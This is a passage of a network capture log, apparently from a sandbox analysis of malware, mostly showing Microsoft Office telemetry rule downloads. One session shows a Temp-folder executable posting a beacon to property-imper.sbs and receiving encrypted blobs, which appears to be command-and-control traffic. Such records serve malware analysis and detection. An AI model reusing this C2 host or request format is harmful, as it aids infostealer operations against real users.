alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1795&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1536842&cwnd=234&unsent_bytes=0&cid=49ed120963b22ce6&ts=1079&x=0"
2024-11-24 01:14:49 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 01:14:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:49 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:49 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 650b08ff-201e-0033-5b2f-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011449Z-178bfbc474bmqmgjhC1NYCy16c00000005ag00000000a4wn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:49 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:49 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:50 UTC	522	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:49 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 02e5a6fb-301e-0099-2cfc-3d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011449Z-178bfbc474btrnf9hC1NYCb80g00000005g0000000002492 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-24 01:14:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:49 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:50 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7b3b97af-701e-003e-795c-3d79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011450Z-178bfbc474b9fdhphC1NYCac0n0000000570000000006a65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:50 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:50 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:50 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011450Z-178bfbc474bwlrhlhC1NYCy3kg000000056g00000000fb75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:50 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49907	104.21.33.116	443	7524	C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:50 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-24 01:14:50 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-24 01:14:51 UTC	1017	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ef82sh6o69ed3ksb4271sbb0q3; expires=Wed, 19-Mar-2025 19:01:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jhlv5Nm3BXKBPL7IIY35zlGVOIB5qRgnLrYzZ0d82fSYKYtM1szFHFjHUKyvUhh%2Fx8ZaS7U2BkvOBmmurvLaEtEF3IEycSKu%2FZQHd%2FTuB8eAG8qFf%2BXG%2Fk3FXtsWAUKNPsYx5lU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e758b62c9368c41-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1825&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1528795&cwnd=219&unsent_bytes=0&cid=4f577e3d2a390da5&ts=729&x=0"
2024-11-24 01:14:51 UTC	352	IN	Data Raw: 63 63 30 0d 0a 77 56 5a 6a 72 54 2b 4d 6b 34 67 74 54 58 65 41 69 2b 47 37 5a 54 35 6f 4b 56 2b 49 35 42 51 4a 56 64 2b 59 51 49 4d 37 7a 41 2b 36 64 42 57 50 42 62 69 2f 71 6c 34 6f 56 62 72 2f 6b 38 34 41 45 6b 70 49 4f 36 72 65 63 6d 67 35 72 50 31 73 6f 55 32 68 4c 66 73 77 41 73 46 4d 36 62 2b 71 53 44 56 56 75 74 43 61 6d 51 42 51 53 68 4e 39 37 59 35 32 61 44 6d 39 2b 53 76 73 53 36 42 73 71 54 6f 45 78 56 72 76 39 2b 6c 42 49 42 4c 6c 37 6f 44 52 43 31 63 46 51 54 4b 71 79 44 5a 73 4c 2f 32 69 59 73 35 65 75 47 36 4d 4e 78 44 47 48 66 47 2f 38 77 38 6f 47 61 4b 78 77 39 6f 41 58 41 52 50 4f 2b 4f 4d 66 47 45 78 76 50 77 71 38 31 4b 71 5a 36 6b 30 42 38 52 51 35 75 50 6b 53 79 63 5a 34 2b 53 41 6d 55 6b 63 44 56 4e 39 73 73 59 6c 57 54 53 73 36 7a Data Ascii: cc0wVZjrT+Mk4gtTXeAi+G7ZT5oKV+I5BQJVd+YQIM7zA+6dBWPBbi/ql4oVbr/k84AEkpIO6recmg5rP1soU2hLfswAsFM6b+qSDVVutCamQBQShN97Y52aDm9+SvsS6BsqToExVrv9+lBIBLl7oDRC1cFQTKqyDZsL/2iYs5euG6MNxDGHfG/8w8oGaKxw9oAXARPO+OMfGExvPwq81KqZ6k0B8RQ5uPkSycZ4+SAmUkcDVN9ssYlWTSs6z
2024-11-24 01:14:51 UTC	1369	IN	Data Raw: 63 34 2f 48 34 52 79 51 65 35 2f 75 49 30 41 70 52 43 6b 59 33 35 59 56 32 62 44 32 33 39 53 6a 6c 56 4b 4e 72 6f 7a 52 42 67 52 33 70 36 61 6f 58 62 7a 62 6e 2b 59 54 56 45 52 34 77 43 79 4b 6b 6e 7a 5a 73 4f 2f 32 69 59 75 6c 63 72 57 36 6f 4f 77 4c 48 56 76 7a 78 2b 45 6b 69 45 50 44 76 68 74 63 4e 58 78 68 42 4d 2b 79 46 66 32 41 2b 75 50 30 6d 6f 52 66 75 61 72 74 30 57 59 39 38 34 2f 72 6d 52 54 67 56 6f 76 62 4e 77 45 64 62 42 67 74 6c 71 6f 4a 33 62 7a 61 35 39 43 7a 6c 56 61 68 6a 72 6a 73 48 78 56 33 70 2b 2b 4a 48 4c 68 6a 70 35 6f 50 63 43 6c 67 4d 52 7a 7a 76 78 6a 67 72 4d 4b 57 36 65 71 46 33 71 57 36 78 64 6a 54 4d 55 2b 44 32 2f 41 38 77 57 2f 75 70 68 4e 56 48 42 45 70 46 4f 4f 57 55 64 33 6b 79 73 2b 67 75 35 46 2b 6a 62 71 30 30 42 4d Data Ascii: c4/H4RyQe5/uI0ApRCkY35YV2bD239SjlVKNrozRBgR3p6aoXbzbn+YTVER4wCyKknzZsO/2iYulcrW6oOwLHVvzx+EkiEPDvhtcNXxhBM+yFf2A+uP0moRfuart0WY984/rmRTgVovbNwEdbBgtlqoJ3bza59CzlVahjrjsHxV3p++JHLhjp5oPcClgMRzzvxjgrMKW6eqF3qW6xdjTMU+D2/A8wW/uphNVHBEpFOOWUd3kys+gu5F+jbq00BM
2024-11-24 01:14:51 UTC	1369	IN	Data Raw: 2f 41 38 77 57 2f 75 70 68 4e 56 48 42 45 70 48 4e 4f 71 4e 66 47 38 33 75 76 63 6e 34 6c 36 74 59 4b 51 2b 44 38 68 5a 34 76 6a 6e 53 53 38 53 35 75 79 52 33 41 35 51 42 67 74 7a 71 6f 46 75 4b 32 2f 39 31 53 58 33 57 6f 46 75 73 6a 31 42 30 42 50 33 73 65 31 44 62 30 32 69 37 6f 62 52 44 46 6f 43 53 79 2f 76 69 48 31 71 50 62 76 37 4c 2b 31 66 72 6d 79 6a 4d 67 33 50 57 75 6e 6a 2b 45 6f 70 42 2b 69 70 7a 5a 6b 41 52 45 6f 54 66 64 79 57 59 58 6f 68 2f 38 38 68 37 31 65 70 65 2b 4d 72 54 39 59 64 36 66 32 71 46 32 38 65 34 75 57 45 30 51 46 59 41 6b 51 79 34 35 52 33 5a 7a 6d 76 2f 53 4c 6f 56 36 46 68 71 6a 6b 47 77 6c 62 6b 2f 4f 35 49 4c 6c 57 73 71 59 54 42 52 77 52 4b 66 53 33 6e 69 6c 68 67 4f 37 53 36 50 61 39 41 37 6d 71 76 64 46 6d 50 57 65 4c Data Ascii: /A8wW/uphNVHBEpHNOqNfG83uvcn4l6tYKQ+D8hZ4vjnSS8S5uyR3A5QBgtzqoFuK2/91SX3WoFusj1B0BP3se1Db02i7obRDFoCSy/viH1qPbv7L+1frmyjMg3PWunj+EopB+ipzZkAREoTfdyWYXoh/88h71epe+MrT9Yd6f2qF28e4uWE0QFYAkQy45R3Zzmv/SLoV6FhqjkGwlbk/O5ILlWsqYTBRwRKfS3nilhgO7S6Pa9A7mqvdFmPWeL
2024-11-24 01:14:51 UTC	181	IN	Data Raw: 78 44 6e 37 59 54 64 41 56 4e 4b 42 58 33 74 6e 6a 59 7a 64 35 4c 64 46 36 4e 34 6c 43 32 38 65 68 69 50 57 75 4b 78 73 67 38 6a 46 75 37 68 6a 4e 38 4f 55 41 42 43 4e 75 61 4e 63 6d 63 2b 75 50 77 6a 35 46 79 76 61 61 38 2b 42 38 78 65 34 66 37 6c 52 32 39 62 6f 75 36 62 6d 56 38 63 4c 31 77 32 35 49 41 32 64 48 6d 6b 75 69 58 74 47 66 59 74 72 7a 30 48 79 56 6a 69 38 4f 78 48 4b 68 33 6d 36 49 58 66 42 46 4d 4f 54 6a 7a 6c 67 6e 70 6c 50 62 7a 37 4c 75 70 57 70 57 6a 6a 65 6b 48 49 52 61 36 70 71 6e 34 73 41 2f 58 35 6a 35 6b 59 0d 0a Data Ascii: xDn7YTdAVNKBX3tnjYzd5LdF6N4lC28ehiPWuKxsg8jFu7hjN8OUABCNuaNcmc+uPwj5Fyvaa8+B8xe4f7lR29bou6bmV8cL1w25IA2dHmkuiXtGfYtrz0HyVji8OxHKh3m6IXfBFMOTjzlgnplPbz7LupWpWjjekHIRa6pqn4sA/X5j5kY
2024-11-24 01:14:51 UTC	1369	IN	Data Raw: 33 37 61 63 0d 0a 45 68 4d 4c 4f 75 62 47 4c 69 73 32 72 2f 41 6f 37 31 79 68 61 4b 41 37 42 73 4a 62 34 76 76 6a 52 79 6b 61 36 2f 75 41 31 51 6c 62 42 45 63 7a 35 34 78 31 5a 6e 66 7a 75 69 58 35 47 66 59 74 6a 7a 4d 4d 34 56 62 69 39 71 70 51 59 51 79 69 37 6f 2b 5a 58 78 77 47 51 54 48 6a 68 6e 39 75 50 37 62 7a 4a 2b 42 53 71 32 36 6c 4f 51 37 47 54 2b 54 79 35 45 77 6a 47 65 54 6f 67 4d 73 50 56 55 6f 46 66 65 32 65 4e 6a 4e 33 6e 50 51 76 39 56 36 2b 4c 62 78 36 47 49 39 61 34 72 47 79 44 79 77 55 37 65 71 43 31 41 46 56 41 6b 73 37 37 34 6c 37 5a 54 43 36 2b 69 2f 76 56 71 68 6c 72 6a 67 4b 77 56 54 6f 38 65 74 46 62 31 75 69 37 70 75 5a 58 78 77 36 53 44 33 71 6e 54 5a 30 65 61 53 36 4a 65 30 5a 39 69 32 78 50 67 6a 50 58 75 48 32 37 6b 51 6a 45 Data Ascii: 37acEhMLOubGLis2r/Ao71yhaKA7BsJb4vvjRyka6/uA1QlbBEcz54x1ZnfzuiX5GfYtjzMM4Vbi9qpQYQyi7o+ZXxwGQTHjhn9uP7bzJ+BSq26lOQ7GT+Ty5EwjGeTogMsPVUoFfe2eNjN3nPQv9V6+Lbx6GI9a4rGyDywU7eqC1AFVAks774l7ZTC6+i/vVqhlrjgKwVTo8etFb1ui7puZXxw6SD3qnTZ0eaS6Je0Z9i2xPgjPXuH27kQjE
2024-11-24 01:14:51 UTC	1369	IN	Data Raw: 50 52 30 4e 45 55 6e 33 74 69 6a 59 7a 64 37 7a 32 4c 65 4a 57 72 57 36 69 50 68 50 64 55 65 66 35 37 30 4d 6b 47 2b 54 37 68 64 59 4f 58 77 6c 43 4f 75 4b 4b 66 47 67 77 2f 62 52 69 35 6b 48 75 4e 65 4d 58 46 74 39 51 72 75 36 6b 56 6d 38 53 37 71 6e 62 6d 51 39 52 41 6b 45 35 37 59 74 78 62 54 36 76 38 79 66 76 57 61 70 6d 72 44 49 46 7a 46 33 38 39 2b 35 48 4c 42 6a 76 35 34 44 64 52 78 4a 4b 54 43 57 71 33 6a 5a 5a 4f 72 50 68 4c 65 5a 49 70 43 32 38 65 68 69 50 57 75 4b 78 73 67 38 72 47 2f 44 69 67 74 49 4d 55 67 31 45 4f 4f 43 47 65 57 38 30 73 2f 45 6a 34 6c 47 6a 59 4b 30 2b 43 4d 5a 61 34 76 58 74 44 32 46 56 35 66 48 44 67 55 64 33 4b 32 59 52 37 5a 77 32 64 48 6d 6b 75 69 58 74 47 66 59 74 72 7a 30 4e 78 56 62 70 2b 2b 52 47 49 52 37 77 2b 34 Data Ascii: PR0NEUn3tijYzd7z2LeJWrW6iPhPdUef570MkG+T7hdYOXwlCOuKKfGgw/bRi5kHuNeMXFt9Qru6kVm8S7qnbmQ9RAkE57YtxbT6v8yfvWapmrDIFzF389+5HLBjv54DdRxJKTCWq3jZZOrPhLeZIpC28ehiPWuKxsg8rG/DigtIMUg1EOOCGeW80s/Ej4lGjYK0+CMZa4vXtD2FV5fHDgUd3K2YR7Zw2dHmkuiXtGfYtrz0NxVbp++RGIR7w+4
2024-11-24 01:14:51 UTC	1369	IN	Data Raw: 43 6b 38 37 34 34 42 31 62 33 66 7a 75 69 58 35 47 66 59 74 6a 6a 67 47 35 6c 72 31 73 66 55 42 4e 6c 58 6c 35 63 4f 42 52 31 30 42 51 54 4c 6e 68 58 42 6f 50 4c 6a 77 49 2b 5a 52 6f 33 2b 67 4f 77 37 4c 58 65 48 33 37 45 34 67 45 2b 58 67 67 74 45 41 48 45 51 4c 4f 76 4c 47 4c 69 73 5a 75 76 6b 6d 6f 55 62 67 64 4f 4d 7a 44 59 38 46 72 76 48 67 52 53 55 62 34 75 36 52 33 77 35 63 43 56 6b 2b 37 49 35 77 5a 7a 75 77 38 69 76 68 58 4b 56 67 71 44 6b 48 7a 31 62 76 73 61 51 50 4b 41 32 69 73 63 50 6f 43 6c 49 4f 52 54 37 36 67 54 5a 30 65 61 53 36 4a 65 30 5a 39 69 32 73 50 52 50 49 57 4f 62 34 36 6b 45 6d 48 4f 58 74 67 4e 67 44 55 41 56 43 50 75 4b 48 66 6d 51 30 76 66 45 71 36 31 69 67 61 4f 4e 36 51 63 68 46 72 71 6d 71 59 43 77 51 36 65 6a 42 2f 67 46 Data Ascii: Ck8744B1b3fzuiX5GfYtjjgG5lr1sfUBNlXl5cOBR10BQTLnhXBoPLjwI+ZRo3+gOw7LXeH37E4gE+XggtEAHEQLOvLGLisZuvkmoUbgdOMzDY8FrvHgRSUb4u6R3w5cCVk+7I5wZzuw8ivhXKVgqDkHz1bvsaQPKA2iscPoClIORT76gTZ0eaS6Je0Z9i2sPRPIWOb46kEmHOXtgNgDUAVCPuKHfmQ0vfEq61igaON6QchFrqmqYCwQ6ejB/gF
2024-11-24 01:14:51 UTC	1369	IN	Data Raw: 66 4c 47 4c 69 73 43 76 76 51 73 35 6b 2b 2f 49 49 51 75 44 4d 6c 4b 2f 37 47 6b 44 79 6c 56 75 72 6e 4e 6d 51 4e 4e 53 68 4e 74 75 4e 30 6a 4f 47 44 74 71 44 32 76 51 4f 35 37 34 32 78 54 67 52 33 38 73 62 49 50 61 42 62 77 2b 34 58 61 45 56 39 4e 64 51 50 45 67 58 42 75 4d 4b 32 34 44 4f 70 4e 71 53 33 74 64 41 36 50 42 64 65 78 6f 67 38 51 57 36 4c 78 77 34 46 48 61 51 6c 46 4d 2b 32 51 5a 79 59 5a 75 76 77 6e 35 6b 6e 73 51 36 67 67 42 6f 38 54 72 76 65 71 46 33 39 62 6f 75 32 53 6d 56 38 4d 57 42 42 6f 75 64 45 6d 4f 53 6a 7a 34 32 4c 33 47 66 59 2f 37 58 51 54 6a 77 57 75 74 75 6c 64 50 52 50 68 2f 34 43 65 4f 57 49 4a 58 54 44 6c 6a 58 64 56 43 5a 50 33 49 2b 4a 58 37 46 79 31 4f 52 48 4d 57 4f 6e 50 31 45 45 6f 41 65 58 6e 68 64 6c 48 45 6b 70 45 Data Ascii: fLGLisCvvQs5k+/IIQuDMlK/7GkDylVurnNmQNNShNtuN0jOGDtqD2vQO5742xTgR38sbIPaBbw+4XaEV9NdQPEgXBuMK24DOpNqS3tdA6PBdexog8QW6Lxw4FHaQlFM+2QZyYZuvwn5knsQ6ggBo8TrveqF39bou2SmV8MWBBoudEmOSjz42L3GfY/7XQTjwWutuldPRPh/4CeOWIJXTDljXdVCZP3I+JX7Fy1ORHMWOnP1EEoAeXnhdlHEkpE
2024-11-24 01:14:51 UTC	1369	IN	Data Raw: 67 72 4d 36 79 36 65 72 45 4c 39 54 6a 77 59 31 47 64 51 71 44 6f 71 6c 6c 76 54 62 43 6e 77 38 74 48 42 45 6f 4d 50 76 69 55 63 47 67 68 76 72 30 63 33 33 36 67 61 71 49 69 45 63 4a 52 7a 2f 4c 37 52 52 45 72 39 2b 71 4e 31 77 42 4b 47 77 74 7a 71 6f 6b 32 4d 77 37 39 73 6d 4c 65 46 2b 35 31 34 32 78 42 2b 6c 37 67 2f 2b 31 5a 50 6c 6a 46 35 34 54 59 45 55 77 48 52 78 7a 70 6c 33 77 72 65 66 33 38 59 72 6b 4c 34 43 32 6e 4a 55 47 58 44 62 79 71 76 78 78 34 52 62 44 32 7a 63 42 48 53 6b 6f 54 62 36 54 47 5a 43 74 76 2f 62 30 68 38 30 75 6f 62 72 55 33 52 76 46 6a 79 2b 62 70 58 79 6b 57 33 4e 65 6f 31 51 46 62 45 45 77 37 7a 4b 59 32 4a 58 65 79 75 6e 72 59 47 65 59 74 6e 48 70 42 31 78 32 32 73 64 39 4d 49 52 76 6c 2f 35 4b 55 49 6b 73 4a 57 7a 76 70 78 Data Ascii: grM6y6erEL9TjwY1GdQqDoqllvTbCnw8tHBEoMPviUcGghvr0c336gaqIiEcJRz/L7RREr9+qN1wBKGwtzqok2Mw79smLeF+5142xB+l7g/+1ZPljF54TYEUwHRxzpl3wref38YrkL4C2nJUGXDbyqvxx4RbD2zcBHSkoTb6TGZCtv/b0h80uobrU3RvFjy+bpXykW3Neo1QFbEEw7zKY2JXeyunrYGeYtnHpB1x22sd9MIRvl/5KUIksJWzvpx

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:50 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:50 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011450Z-174c587ffdfcb7qhhC1TEB3x7000000003vg000000005zy7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:51 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 